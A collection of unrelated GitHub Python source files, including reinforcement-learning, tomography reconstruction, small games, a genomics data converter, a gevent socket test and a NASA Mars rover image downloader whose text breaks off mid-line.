{"seq_id":"72070923024","text":"for i in range(10):\n    if i == 2:\n        print(f\" i é {i}, pulando\")\n        continue\n    if i == 9:\n        print(f\"Seu i é 9, seu ELSE não executará !\")\n        break\n    for j in range(1, 3):\n        print(f\"{i} -- {j}\")\nelse:\n    print(f\"FOR comnpleto com sucesso !\")\n","repo_name":"GenilsonDC/Academico","sub_path":"Udemy/Python/iteraveis/for_range_else.py","file_name":"for_range_else.py","file_ext":"py","file_size_in_byte":278,"program_lang":"python","lang":"pt","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"}
{"seq_id":"72945647184","text":"import numpy as np\r\nfrom skimage.transform import radon, iradon, iradon_sart\r\nimport utils\r\nfrom scipy.optimize import curve_fit\r\nfrom track import Lattice\r\nfrom preprocess import Preprocess\r\nimport tensorflow as tf\r\nfrom neural_net import FeedBack\r\n\r\nclass Reconstruct():\r\n    def __init__(self,\r\n                 process):\r\n        self.process = process\r\n        self.projections = process.projections.T\r\n        self.thetas = process.thetas\r\n        self.ks = process.ks\r\n\r\n\r\n\r\n    def MLEM(self, iterations):\r\n            \"\"\"\r\n            The MLEM function takes in the number of iterations and returns a reconstructed image.\r\n            The MLEM function uses the Radon transform to project an image onto a sinogram, then backproject it using \r\n            the inverse Radon transform. The ratio between the original projection and this new projection is used to \r\n            correct for errors in each iteration.\r\n            \r\n            :param self: Bind the method to the object\r\n            :param iterations: Determine how many times the algorithm will run\r\n            :return: A 2d array\r\n            :doc-author: Trelent\r\n            \"\"\"\r\n            n_iters=iterations\r\n            mlem_rec = np.ones((self.projections.shape[0], self.projections.shape[0]))\r\n            sino_ones = np.ones(self.projections.shape)\r\n            sens_image = iradon(sino_ones, theta=-self.thetas, circle=True, filter_name = None)\r\n\r\n            for p in range(n_iters):\r\n\r\n                fp = radon(mlem_rec, -self.thetas, circle=True)\r\n                ratio = self.projections/(fp+0.000001)\r\n                correction = iradon(ratio, -self.thetas, circle=True, filter_name=None)/(sens_image+0.000001)\r\n                mlem_rec = mlem_rec*correction\r\n            xs = mlem_rec\r\n            return xs\r\n    \r\n    def SART(self, iterations):\r\n        \"\"\"\r\n        The SART function takes the projections and angles of a given object,\r\n        and returns an image of that object. The function uses the iradon_sart\r\n        method from scikit-image to reconstruct the image.\r\n        \r\n        :param self: Bind the method to an object\r\n        :param iterations: Determine how many times the sart algorithm will run\r\n        :return: The reconstructed image\r\n        :doc-author: Trelent\r\n        \"\"\"\r\n        xs = np.zeros((len(self.projections),len(self.projections)))\r\n        for p in range(iterations):\r\n            xs = iradon_sart(self.projections, theta = -self.thetas, image = xs)\r\n        xs[xs<0] = 0\r\n        return xs\r\n    \r\n    def FBP(self):\r\n        \"\"\"\r\n        The FBP function takes the projections and thetas from a given object,\r\n        and uses them to reconstruct an image using filtered backprojection.\r\n        \r\n        \r\n        :param self: Bind the method to an object\r\n        :return: The reconstructed image\r\n        :doc-author: Trelent\r\n        \"\"\"\r\n        xs = iradon(self.projections, theta = -self.thetas)\r\n        xs[xs<0]=0\r\n        return xs\r\n    \r\n\r\n\r\n    def fit_profiles(self):\r\n        \"\"\"\r\n        The fit_profiles function fits a Gaussian profile to the unscaled projections of the process.\r\n        The function returns an array of sigmas, which are used in the calculation of kurtosis.\r\n        \r\n        :param self: Refer to the instance of a class\r\n        :return: The sigmas array, which is the standard deviation of each projection\r\n        :doc-author: Trelent\r\n        \"\"\"\r\n        sigma= []\r\n        for k in range(len(self.ks)):\r\n            X = self.process.x_new\r\n            Y = self.process.unscaled_projections[k,:]\r\n            coeffs,_ = utils.gaussian_profile_fit(X, Y)\r\n            sigma.append(coeffs[2])\r\n        self.sigmas  = np.array(sigma)\r\n\r\n\r\n    def quad_rec_matrix(self):\r\n        \"\"\"\r\n        The quad_rec_matrix function creates a matrix of the form:\r\n        \r\n        :param self: Bind the method to an object\r\n        :return: The pseudo-inverse of the matrix a\r\n        :doc-author: Trelent\r\n        \"\"\"\r\n        A = []\r\n        d = self.process.sequence['drift'][0]\r\n        l = self.process.sequence['quad'][0]\r\n        for k in self.ks:\r\n            seq = {'quad':[l,k], 'drift':[d]}\r\n            lattice = Lattice()\r\n            M = lattice.create_lattice(seq)\r\n            if len(A)==0:\r\n                A = np.array([M[0,0]**2, +2*M[0,0]*M[0,1], M[0,1]**2])\r\n            else:\r\n                A = np.vstack((A, np.array([M[0,0]**2, +2*M[0,0]*M[0,1], M[0,1]**2])))\r\n        self.A_i = np.linalg.pinv(A)\r\n\r\n\r\n    def QuadScanRec(self, sigmas = None):\r\n        \"\"\"\r\n        The QuadScanRec function takes the sigmas from a quad scan and returns the reconstructed epsilon, alpha, beta, gamma values.\r\n        \r\n        :param self: Bind the method to an object\r\n        :param sigmas: Calculate the inverse of the a matrix\r\n        :return: The epsilon, alpha, beta and gamma parameters of the quadrupole\r\n        :doc-author: Trelent\r\n        \"\"\"\r\n        self.fit_profiles()\r\n        if sigmas is None:\r\n            sigmas = self.sigmas\r\n        self.quad_rec_matrix()\r\n        s11i, s12i, s22i = np.dot(self.A_i,sigmas.T**2)\r\n        eps = np.sqrt(abs(s11i*s22i-s12i**2))\r\n        alf = -s12i/eps\r\n        bet = s11i/eps\r\n        gam = s22i/eps\r\n        return eps, alf, bet, gam\r\n \r\n\r\n","repo_name":"vitben/phase_space_tomography","sub_path":"reconstruct.py","file_name":"reconstruct.py","file_ext":"py","file_size_in_byte":5276,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"}
{"seq_id":"36650570517","text":"import prompt\n\n\ndef _hello():\n    print('Welcome to the Brain Games!')\n\n\ndef _get_name_user():\n    name = prompt.string('May I have your name?')\n    print('Hello, {}!'.format(name))\n    return name\n\n\ndef _rounds_game(logic, name):\n    count_win = 0\n\n    while True:\n        # функция logic() возращает кортеж с 2 param: ask -> str, resp -> str\n        tupl_ask_and_resp = logic()\n        ask, resp = tupl_ask_and_resp[0], tupl_ask_and_resp[1]\n        print('Question: {}'.format(ask))\n        resp_user = prompt.string('Your answer: ')\n\n        if resp_user == resp:\n            print(\"Correct!\")\n            count_win += 1\n\n            if count_win == 3:\n                print('Congratulations, {}!'.format(name))\n                break\n        else:\n            print('\"{0}\" is wrong answer ;(. Correct answer was \"{1}\"'.format(\n                resp_user, resp))\n            print('Let\\'s try again, {}!'.format(name))\n            break\n\n\ndef start_game(task, logic):\n    _hello()\n    user_name = _get_name_user()\n    print(task)\n    _rounds_game(logic, user_name)\n","repo_name":"Fulerent/python-project-lvl1","sub_path":"brain_games/logic/core_logic.py","file_name":"core_logic.py","file_ext":"py","file_size_in_byte":1089,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"}
{"seq_id":"14610921765","text":"import numpy as np\nimport random\nimport Gridenv\nimport copy\nimport matplotlib.pyplot as plt\nfrom matplotlib.pyplot import figure, Rectangle\nimport seaborn as sns\nimport statistics as stats\n\n\ndef obs_trp_lists():\n    obs_lst = []\n    for row in range(10):\n        for col in range(10):\n            if env.GridWorld[\"state\"][row, col] == \"obstacle\":\n                obs_lst.append((col, row))\n\n    # list of traps#\n    trp_lst = []\n    for row in range(10):\n        for col in range(10):\n            if env.GridWorld[\"state\"][row][col] == \"trap\":\n                trp_lst.append((col, row))\n    return (obs_lst, trp_lst)\n\n\nenv = Gridenv.Grid()\n\n\n##---------------------------Tabular Q-learning  ----------------------------##\n\ndef Q_learning(epsilon1, epsilon2):\n    learning_rate = 0.2\n    discount_rate = 0.9\n    epsilon1 = epsilon1\n    epsilon2 = epsilon2\n\n    episode_goal = []\n    q_table = np.zeros([100, 4])\n    no_episodes = 100000\n    times_goal = 0\n    times_traped = 0\n    for episodes in range(0, no_episodes):\n        terminal_state = 0\n        env.reset()\n\n        # env.position = (0,0)\n        position = env.position\n        state = ((list(position)[0] * 10) + list(position)[1])\n\n        while True:\n            ####------------------choosing_action-----------------------########\n\n            if random.uniform(0, 1) < epsilon1:\n                chosen_action = random.randint(0, 3)\n\n            else:\n                chosen_action = np.argmax(q_table[state, :], axis=0)\n\n            # taking action\n            if state == 99:\n                print(chosen_action)\n            list_next_state = env.step(chosen_action, epsilon2)\n            if list_next_state[3]:\n                # print(\"goal reached\")\n                episode_goal.append(1)\n                times_goal = times_goal + 1\n\n            if list_next_state[-1] and (not list_next_state[3]):\n                # print(\"trapped\")\n                episode_goal.append(0)\n                times_traped = times_traped + 1\n\n            reward = list_next_state[2]\n            position = copy.deepcopy(list_next_state[0])\n            terminal_state = list_next_state[-1]\n            next_state = ((list(position)[0] * 10) + list(position)[1])\n\n            # Recalculate\n            q_value = q_table[state, chosen_action]\n\n            max_value = np.max(q_table[next_state, :])\n            new_q_value = (1 - learning_rate) * q_value + learning_rate * (reward + discount_rate * max_value)\n\n            q_table[state, chosen_action] = new_q_value\n            state = next_state\n\n            if terminal_state:\n                break\n            # print(q_table)\n\n    return q_table\n\n\ndef get_maxQ_array(q_table):\n    list_maxQ = []\n    for i in range(0, 100):\n        max_q = np.amax(q_table[i, :], axis=0)\n        list_maxQ.append(max_q)\n\n    maxQ_array = np.array(list_maxQ)\n    maxQ_array = maxQ_array.reshape((10, 10))\n    return maxQ_array\n\n\ndef get_variance(q_table):\n    list_var = []\n    for i in range(0, 100):\n        list_var.append(stats.stdev(q_table[i, :]))\n    var_array = np.array(list_var)\n    var_array = var_array.reshape((10, 10))\n    return var_array\n\n\nepsilon1 = [0.1, 0.2, 0.3]\nepsilon2 = [0.05, 0.1, 0.15]\ncounter = 0\nfig1, ax1 = plt.subplots(3, 3, figsize=(20, 20))\nfig2, ax2 = plt.subplots(3, 3, figsize=(20, 20))\n\nfor i, p in enumerate(epsilon1, 0):\n    for j, q in enumerate(epsilon2, 0):\n        rows = [\"0\", \"1\", \"2\", \"3\", \"4\", \"5\", \"6\", \"7\", \"8\", \"9\"]\n        col = [\"0\", \"1\", \"2\", \"3\", \"4\", \"5\", \"6\", \"7\", \"8\", \"9\"]\n        q_table = Q_learning(p, q)\n        maxQ_array = get_maxQ_array(q_table)\n        var_array = get_variance(q_table)\n        var_array = np.around(var_array, decimals=2)\n        var_array = var_array.astype(np.float)\n        heatmap_max = sns.heatmap(maxQ_array, annot=True, cmap=\"YlGnBu\", ax=ax1[i, j])\n        ax1[i, j].set_title(\"epsilon = %f and p = %f\" % (round(p, 2), round(q, 2)))\n        heatmap_var = sns.heatmap(var_array, annot=True, ax=ax2[i, j])\n        ax2[i, j].set_title(\"epsilon = %f and p = %f\" % (round(p, 2), round(q, 2)))\n        # counter = counter + 1\n        obs_lst, trp_lst = obs_trp_lists()\n\n        for r in obs_lst:\n            heatmap_max.add_patch(Rectangle(r, 1, 1, fill=False, edgecolor='green', lw=3))\n        for s in trp_lst:\n            heatmap_max.add_patch(Rectangle(s, 1, 1, fill=True, edgecolor='black', lw=3))\n            heatmap_max.add_patch(Rectangle((9, 9), 1, 1, fill=False, edgecolor='red', lw=3))\n        for r in obs_lst:\n            heatmap_var.add_patch(Rectangle(r, 1, 1, fill=False, edgecolor='green', lw=3))\n        for s in trp_lst:\n            heatmap_var.add_patch(Rectangle(s, 1, 1, fill=True, edgecolor='black', lw=3))\n            heatmap_var.add_patch(Rectangle((9, 9), 1, 1, fill=False, edgecolor='red', lw=3))\nfig1.savefig('MaxQ.jpeg', bbox=\"tight\", dpi=200)\nfig1.show()\nfig2.savefig('variance.jpeg', bbox=\"tight\", dpi=200)\nfig2.show()\n\n# fig2.savefig(\"hi\")\n\n# ---------------- ploting heatmap --------------------#\n\n# rows = [\"0\", \"1\", \"2\", \"3\", \"4\", \"5\", \"6\", \"7\", \"8\", \"9\"]\n# col = [\"0\", \"1\", \"2\", \"3\", \"4\", \"5\", \"6\", \"7\", \"8\", \"9\"]\n#\n# sns.set(style = \"whitegrid\")\n# heat_map = sns.heatmap(maxQ_array, annot= True, cmap=\"YlGnBu\")\n#\n# # list of obstacle#\n# plt.show()\n\n\n# #### testing the learned policy  ###############\n\n# print(\"now lets test the policy we have created\")\n#\n# list_steps = []\n# goal_steps = []\n# trap_steps = []\n# test_goal = 0\n#\n# for episodes in range(0, 100):\n#\n#     # print(\"episode number %i running\" % episodes)counter\n#     terminal_state = 0\n#     steps = 0\n#     times_traped = 0\n#     env.reset()\n#     # env.position = (0,0)\n#     position = env.position\n#     print((position[0] + 1, position[1] + 1))\n#     state = ((list(position)[0] * 10) + list(position)[1])\n#\n#     while True:\n#         chosen_action = np.argmax(q_table[state, :], axis=0)\n#\n#         list_next_state = env.step(chosen_action)\n#         steps = steps + 1\n#         if list_next_state[3]:\n#             print(\"goal reached\")\n#             # print(steps)\n#             test_goal = test_goal + 1\n#         if (list_next_state[-1] and (not list_next_state[3])):\n#             # print(\"trapped\")\n#             times_traped = times_traped + 1\n#\n#         position = copy.copy(list_next_state[0])\n#         # print(position)\n#         terminal_state = list_next_state[-1]\n#         next_state = ((list(position)[0] * 10) + list(position)[1])\n#         state = next_state\n#\n#         if terminal_state:\n#             break\n#     print(\"while loop exited--------------------------\")\n# print(test_goal)\n# # print(q_table)\n# # plt.plot(list_steps, label = 'normal steps')\n# #\n# # # plt.show()\n","repo_name":"sandip1604/RL_summer","sub_path":"10*10_gridworld/10*10_gridworld/envs/non deterministic dynamics.py","file_name":"non deterministic dynamics.py","file_ext":"py","file_size_in_byte":6669,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"}
{"seq_id":"41940009122","text":"import Tkinter\r\nimport random\r\n\r\ncomputer_guess=random.randint(1,10)\r\n\r\ndef check():\r\n    user_guess=int(text_guess.get())\r\n    if user_guess < computer_guess:\r\n        message = \" Higher \"\r\n    elif user_guess > computer_guess:\r\n        message = \" Lower \"\r\n    elif user_guess == computer_guess:\r\n        message = \" Correct \"\r\n    else:\r\n        message = \" Something went wrong \"\r\n\r\n    result[\"text\"]=message\r\n    text_guess.delete(0,5)\r\n\r\ndef reset():\r\n    global computer_guess\r\n    computer_guess=random.randint(1,10)\r\n    result[\"text\"]= \" Guess Again \"\r\n\r\ngame = Tkinter.Tk()\r\ngame.configure(bg=\"black\")\r\ngame.title(\"Guess The Number\")\r\ngame.geometry(\"250x75\")\r\n\r\ntitle=Tkinter.Label(game,text= \" Welcome To The Guess Game \",bg=(\"black\"),fg=\"orange\",font=(\"arial 12 bold\"))\r\ntitle.pack()\r\n\r\nresult=Tkinter.Label(game,text= \" Good Luck \",bg=\"black\",fg=\"yellow\",font=(\"arial 12 bold\"))\r\nresult.pack()\r\n\r\nbutton_check=Tkinter.Button(game,text=(\"check\"),font=(\"algerian 15 bold\"),fg=\"green\",bg=\"black\",command=check)\r\nbutton_check.pack(side=\"left\")\r\n\r\nbutton_reset=Tkinter.Button(game,text=\"reset\",fg=\"red\",bg=\"black\",font=(\"algerian 15 bold\"),command=reset)\r\nbutton_reset.pack(side=\"right\")\r\n\r\ntext_guess=Tkinter.Entry(game,width=15,font=(\"algerian 15 bold\"),bg=\"WHITE\")\r\ntext_guess.pack()\r\n\r\ngame.mainloop()\r\n","repo_name":"dhruv804/Kit-Wit","sub_path":"GG.py","file_name":"GG.py","file_ext":"py","file_size_in_byte":1317,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"}
{"seq_id":"33598846287","text":"import pandas as pd\nimport click\nimport io\nimport os\npd.options.display.float_format = '{:.0f}'.format\n\n@click.command()\n@click.option('--input', type=click.Path(exists=True), help='Input path.')\n@click.option('--output', type=click.Path(), help='Output path.')\ndef lovd(input, output):\n    \"\"\"From Rudzik with LOVD.\"\"\"\n    df = pd.read_csv(input, sep='\\t', skiprows=0, header=1, low_memory=False)\n    if os.path.exists(output):\n        os.remove(output)\n    # with open(\"C:/Users/Engineering/Documents/Rudzik/work/LOVD/FFBupload_empty.txt\") as fh:\n    #     txt = fh.read()\n    # this piece of code is to avoid closing the file manually! Normally it would look like this:\n    # fh = open(\"C:/Users/Engineering/Documents/Rudzik/work/LOVD/Tracewska 2019/FFBupload_empty.txt\")python LOVD.py --input  \"C:\\Users\\Engineering\\Documents\\Rudzik\\work\\LOVD\\Hosono 2018\\Hosono-2018.txt\" --output “C:\\Users\\Engineering\\Documents\\Rudzik\\work\\LOVD\\Hosono 2018\\booo.txt”\n    # txt = fh.read()\n    # fh.close()\n    txt1 = '''### LOVD-version 3000-060 ### Full data download ### To import, do not remove or alter this header ### \\r\\n \n    ## Genes ## Do not remove or alter this header ## \\r\\n \n    ## Transcripts ## Do not remove or alter this header ## \\r\\n\n    ## Diseases ## Do not remove or alter this header ##\\r\\n \n    ## Genes_To_Diseases ## Do not remove or alter this header ##\\r\\n\n    ## Individuals ## Do not remove or alter this header ##'''\n    data = io.StringIO(txt1)  # this tells me it is an IO object\n    txt2 = pd.read_csv(data, sep=\"\\t\", header=0)  # this reads the data into CSV\n    txt2.to_csv(output, index=False, sep='\\t',\n                float_format='%d', mode='a')  # this outputs the data into tab delimited text\n    df1 = df.iloc[:, 0:19]\n    df1 = df1.dropna(subset=['{{panel_size}}'])\n    df1.drop_duplicates(subset=['{{id}}'])\n    df1 = df1.to_csv(output, index=False, sep='\\t',\n                     float_format='%d', mode='a')\n    txt3 = '''## Individuals_To_Diseases ## Do not remove or alter this header ##'''\n    df2_header = io.StringIO(txt3)\n    txt3 = pd.read_csv(df2_header, sep=\"\\t\")\n    txt3 = txt3.to_csv(output, index=False, sep='\\t',\n                       float_format='%d', mode='a')\n    txt31 = '''{{individualid}}\\t{{diseaseid}}'''\n    df2_header2 = io.StringIO(txt31)\n    txt31 = pd.read_csv(df2_header2, sep=\"\\t\")\n    txt31 = txt31.to_csv(output, index=False,\n                         sep='\\t', float_format='%d', mode='a')\n    df2 = df.iloc[:, 19:21]  ## Individuals_To_Diseases ##\n    df2 = df2.dropna()\n    df2 = df2.drop_duplicates(subset=['{{individualid}}'])\n    df2.to_csv(output, header=0, index=False,\n               sep='\\t', float_format='%d', mode='a')\n    txt4 = '''## Phenotypes ## Do not remove or alter this header ##'''\n    df3_header = io.StringIO(txt4)\n    txt4 = pd.read_csv(df3_header, sep=\"\\t\")\n    txt4 = txt4.to_csv(output, index=False, sep='\\t',\n                       float_format='%d', mode='a')\n    df3 = df.iloc[:, 19:34]  ## Phenotypes ## Do not remove or alter this header ##\n    df3 = df3.dropna(subset=['{{individualid}}'])\n    df3.columns = df3.columns.str.replace(r\"(\\.)(\\d)\", '', regex=True)\n    df3.to_csv(output, index=False, sep='\\t',\n               float_format='%d', mode='a')\n    txt5 = '''## Screenings ## Do not remove or alter this header ##'''\n    df4_header = io.StringIO(txt5)\n    txt5 = pd.read_csv(df4_header, sep=\"\\t\")\n    txt5 = txt5.to_csv(output, index=False, sep='\\t',\n                       float_format='%d', mode='a')\n    df4 = df.iloc[:, 34:43]  ## Screenings ## Do not remove or alter this header ##\n    df4.columns = df4.columns.str.replace(r\"(\\.)(\\d)\", '', regex=True)\n    df4 = df4.drop_duplicates(subset=['{{id}}'])\n    df4 = df4.dropna(subset=['{{individualid}}'])\n    df4.to_csv(output, index=False, sep='\\t',\n               float_format='%d', mode='a')\n    txt6 = '''## Screenings_To_Genes ## Do not remove or alter this header ##'''\n    df5_header = io.StringIO(txt6)\n    txt6 = pd.read_csv(df5_header, sep=\"\\t\")\n    txt6 = txt6.to_csv(output, index=False, sep='\\t', float_format='%d', mode='a')\n    df5 = df.iloc[:, 43:45]  ## Screenings_To_Genes ## Do not remove or alter this header ##\n    df5 = df5.dropna(subset=['{{screeningid}}'])\n    df5 = df5.drop_duplicates(subset=['{{screeningid}}'])\n    df5.to_csv(output, index=False, sep='\\t',\n               float_format='%d', mode='a')\n    txt7 = '''## Variants_On_Genome ## Do not remove or alter this header ##'''\n    df6_header = io.StringIO(txt7)\n    txt7 = pd.read_csv(df6_header, sep=\"\\t\")\n    txt7 = txt7.to_csv(output, index=False, sep='\\t',\n                       float_format='%d', mode='a')\n\n    df6 = df.iloc[:, 53:76]  ## Variants_On_Genome ## Do not remove or alter this header ##\n    df6.columns = df6.columns.str.replace(r\"(\\.)(\\d)\", '', regex=True)\n    df6 = df6.dropna(subset=['{{id}}'])\n\n    df6.to_csv(output, index=False, sep='\\t',\n               float_format='%d', mode='a')\n\n    txt8 = '''## Variants_On_Transcripts ## Do not remove or alter this header ##'''\n    df7_header = io.StringIO(txt8)\n    txt8 = pd.read_csv(df7_header, sep=\"\\t\")\n    txt8 = txt8.to_csv(output, index=False, sep='\\t',\n                       float_format='%d', mode='a')\n\n    df7 = df.iloc[:, 46:53]  ## Variants_On_Transcripts ## Do not remove or alter this header ##\n    df7.columns = df7.columns.str.replace(r\"(\\.)(\\d)\", '', regex=True)\n    df7 = df7.dropna(subset=['{{id}}'])\n    df7.to_csv(output, index=False, sep='\\t',\n               float_format='%d', mode='a')\n    txt9 = '''## Screenings_To_Variants ## Do not remove or alter this header ##\\r\\n'''\n    df8_header = io.StringIO(txt9)\n    txt9 = pd.read_csv(df8_header, sep=\"\\t\")\n    txt9 = txt9.to_csv(output, index=False, sep='\\t',\n                       float_format='%d', mode='a')\n    txt10 = '''{{screeningid}}\\t{{variantid}}'''\n    df8_header2 = io.StringIO(txt10)\n    txt10 = pd.read_csv(df8_header2, sep=\"\\t\")\n    txt10 = txt10.to_csv(output, index=False,\n                         sep='\\t', float_format='%d', mode='a')\n    df8 = df.iloc[:, 45:47]  ## Screenings_To_Variants ## Do not remove or alter this header ##\n    df8.columns = df8.columns.str.replace(r\"(\\.)(\\d)\", '', regex=True)\n    df8 = df8.dropna(subset=['{{id}}'])\n    df8.to_csv(output, header=0, index=False, sep='\\t', float_format='%d', mode='a')\n\n\nif __name__ == '__main__':\n    lovd()","repo_name":"Rudzik/LOVD2","sub_path":"LOVD.py","file_name":"LOVD.py","file_ext":"py","file_size_in_byte":6374,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"}
{"seq_id":"16444396173","text":"# Definition for a binary tree node.\n# class TreeNode:\n#     def __init__(self, val=0, left=None, right=None):\n#         self.val = val\n#         self.left = left\n#         self.right = right\nclass Solution:\n    def isValidBST(self, root: TreeNode) -> bool:\n        vals = []\n        if root == None:\n            return True\n        def solve(root):\n            if root.left == None and root.right == None:\n                vals.append(root.val)\n            else:\n                if (root.left != None):\n                    solve(root.left)\n                vals.append(root.val)\n                if (root.right!=None):\n                    solve(root.right)\n        solve(root)\n        if (all(vals[i] < vals[i+1] for i in range(len(vals)-1))):\n            return True\n        else:\n            return False\n        ","repo_name":"dillonwu-97/competitive_programming","sub_path":"leetcode/validate-binary-search-tree.py","file_name":"validate-binary-search-tree.py","file_ext":"py","file_size_in_byte":813,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"}
{"seq_id":"8832390195","text":"from __future__ import print_function\nfrom _socket import socket as c_socket\nimport sys\nif sys.version_info[0] >= 3:\n    # Python3 enforces that __weakref__ appears only once,\n    # and not when a slotted class inherits from an unslotted class.\n    # We mess around with the class MRO below and violate that rule\n    # (because socket.socket defines __slots__ with __weakref__),\n    # so import socket.socket before that can happen.\n    __import__('socket')\n    Socket = c_socket\nelse:\n    class Socket(c_socket):\n        \"Something we can have a weakref to\"\n\nimport _socket\n_socket.socket = Socket\n\nimport gevent.testing as greentest\nfrom gevent import monkey; monkey.patch_all()\nfrom gevent.testing import flaky\n\nfrom pprint import pformat\ntry:\n    from thread import start_new_thread\nexcept ImportError:\n    from _thread import start_new_thread\nfrom time import sleep\nimport weakref\nimport gc\n\nimport socket\nsocket._realsocket = Socket\n\nSOCKET_TIMEOUT = 0.1\nif greentest.RUNNING_ON_CI:\n    SOCKET_TIMEOUT *= 2\n\ndef init_server():\n    s = socket.socket()\n    s.settimeout(SOCKET_TIMEOUT)\n    s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)\n    s.bind(('127.0.0.1', 0))\n    s.listen(5)\n    return s\n\n\ndef handle_request(s, raise_on_timeout):\n    try:\n        conn, _ = s.accept()\n    except socket.timeout:\n        if raise_on_timeout:\n            raise\n        else:\n            return\n    #print('handle_request - accepted')\n    res = conn.recv(100)\n    assert res == b'hello', repr(res)\n    #print('handle_request - recvd %r' % res)\n    res = conn.send(b'bye')\n    #print('handle_request - sent %r' % res)\n    #print('handle_request - conn refcount: %s' % sys.getrefcount(conn))\n    conn.close()\n\n\ndef make_request(port):\n    #print('make_request')\n    s = socket.socket()\n    s.connect(('127.0.0.1', port))\n    #print('make_request - connected')\n    res = s.send(b'hello')\n    #print('make_request - sent %s' % res)\n    res = s.recv(100)\n    assert res == b'bye', repr(res)\n    #print('make_request - recvd %r' % res)\n    s.close()\n\n\ndef run_interaction(run_client):\n    s = init_server()\n    start_new_thread(handle_request, (s, run_client))\n    if run_client:\n        port = s.getsockname()[1]\n        start_new_thread(make_request, (port, ))\n    sleep(0.1 + SOCKET_TIMEOUT)\n    #print(sys.getrefcount(s._sock))\n    #s.close()\n    w = weakref.ref(s._sock)\n    s.close()\n    if greentest.WIN:\n        # The background thread may not have even had a chance to run\n        # yet, sleep again to be sure it does. Otherwise there could be\n        # strong refs to the socket still around.\n        try:\n            sleep(0.1 + SOCKET_TIMEOUT)\n        except Exception: # pylint:disable=broad-except\n            pass\n\n    return w\n\n\ndef run_and_check(run_client):\n    w = run_interaction(run_client=run_client)\n    if greentest.PYPY:\n        # PyPy doesn't use a strict ref counting and must\n        # run a gc, but the object should be gone\n        gc.collect()\n    if w():\n        print(pformat(gc.get_referrers(w())))\n        for x in gc.get_referrers(w()):\n            print(pformat(x))\n            for y in gc.get_referrers(x):\n                print('-', pformat(y))\n        raise AssertionError('server should be dead by now')\n\n\n@greentest.skipOnCI(\"Often fail with timeouts or force closed connections; not sure why.\")\n@greentest.skipIf(\n    greentest.RUN_LEAKCHECKS and greentest.PY3,\n    \"Often fail with force closed connections; not sure why. \"\n)\nclass Test(greentest.TestCase):\n\n    __timeout__ = greentest.LARGE_TIMEOUT\n\n    @flaky.reraises_flaky_timeout(socket.timeout)\n    def test_clean_exit(self):\n        run_and_check(True)\n        run_and_check(True)\n\n    @flaky.reraises_flaky_timeout(socket.timeout)\n    def test_timeout_exit(self):\n        run_and_check(False)\n        run_and_check(False)\n\n\nif __name__ == '__main__':\n    greentest.main()\n","repo_name":"mridulghanshala/SneakerBot","sub_path":"SneakerBot 2019/venv/lib/python3.7/site-packages/gevent/tests/test__refcount.py","file_name":"test__refcount.py","file_ext":"py","file_size_in_byte":3871,"program_lang":"python","lang":"en","doc_type":"code","stars":33,"dataset":"github-code","pt":"47"}
{"seq_id":"24856045087","text":"from pathlib import Path\nfrom typing import Dict, List\nimport shutil\n\nfrom dipy.data import (\n    fetch_stanford_hardi,\n    fetch_stanford_labels,\n    fetch_stanford_t1,\n    get_fnames,\n)\n\n\ndef download_small_dwi_data(download_dir: Path) -> Dict[str, List[Path]]:\n    \"\"\"Download small test dwi data, no t1 or labels are provided\n\n    Args:\n        download_dir: specify folder where data is copied\n    \"\"\"\n    download_dir.mkdir(exist_ok=True)\n    files = []\n    for f in get_fnames(name=\"small_25\"):\n        files.append(Path(download_dir) / Path(f).name)\n        shutil.copyfile(Path(f), files[-1])\n    return {\"dwi\": files}\n\n\ndef download_stanford_data(download_dir: Path) -> Dict[str, List[Path]]:\n    \"\"\"Download standford dwi data, t1 image and labelfield\n\n    Args:\n        download_dir: specify folder where data is copied\n    \"\"\"\n\n    def _fetch_and_copy(fetch_fun):\n        files, dipy_dir = fetch_fun()\n        for f in files.keys():\n            shutil.copyfile(Path(dipy_dir) / f, Path(download_dir) / f)\n        return [download_dir / f for f in files.keys()]\n\n    download_dir.mkdir(exist_ok=True)\n    dwi_files = _fetch_and_copy(fetch_stanford_hardi)\n    t1_files = _fetch_and_copy(fetch_stanford_t1)\n    label_files = _fetch_and_copy(fetch_stanford_labels)\n    return {\"dwi\": dwi_files, \"t1\": t1_files, \"labels\": label_files}\n\n\nif __name__ == \"__main__\":\n    output_dir = Path(\"/Users/lloyd/Models/StandfordData\")\n    files = download_stanford_data(download_dir=output_dir)\n\n    for f in output_dir.glob(\"*.*\"):\n        print(f)\n","repo_name":"dyollb/s4l-scripts","sub_path":"src/anisotropic_conductivity/download_data.py","file_name":"download_data.py","file_ext":"py","file_size_in_byte":1546,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"47"}
{"seq_id":"74226787981","text":"\"\"\"\nUses the NASA API to get images from Curiosity's cameras.\n\"\"\"\n\nfrom requests_html import HTMLSession\nimport os\nimport json\nfrom urllib.parse import urlparse\n\nif not os.path.exists(\"color\"):\n    os.mkdir(\"color\")\n\n# template for getting images\n# camera = \"mast\"\nsolRaw = \"https://api.nasa.gov/mars-photos/api/v1/rovers/curiosity/photos?sol={sol}&camera=mast&api_key=DEMO_KEY\"\n\nsession = HTMLSession()\n\n#  get images from first 1000 sols\n\n\"\"\"\nCan reach end of Sol 40 from 1 before hitting the rate limit.\nChange 'start' by ~40 each time the ratelimit resets, or refer to the Sol the process stalled at.\n\"\"\"\nstart = 160\n\nfor sol in range(start, 1000):\n\n    print(f\"Getting images for Sol: {sol}\")\n\n    solLink = solRaw.format(sol = sol)\n\n    r = session.get(solLink)\n\n    data_json = json.loads(r.content)\n\n    try:\n\n        for item in data_json[\"photos\"]:\n\n            rawImgUrl = item[\"img_src\"]\n\n            a = urlparse(rawImgUrl)\n            newFilename = os.path.basename(a.path)\n\n            print(f\"Found image from {rawImgUrl}\")\n            if os.path.isfile(f\"color/{newFilename}\"):\n                print(\"Already downloaded, passing\")\n                continue\n\n            else:\n                rawImg = session.get(rawImgUrl).content\n                print(rawImgUrl, \"downloaded\")\n\n                with open(f\"color/{newFilename}\", \"wb\") as imageOut:\n                    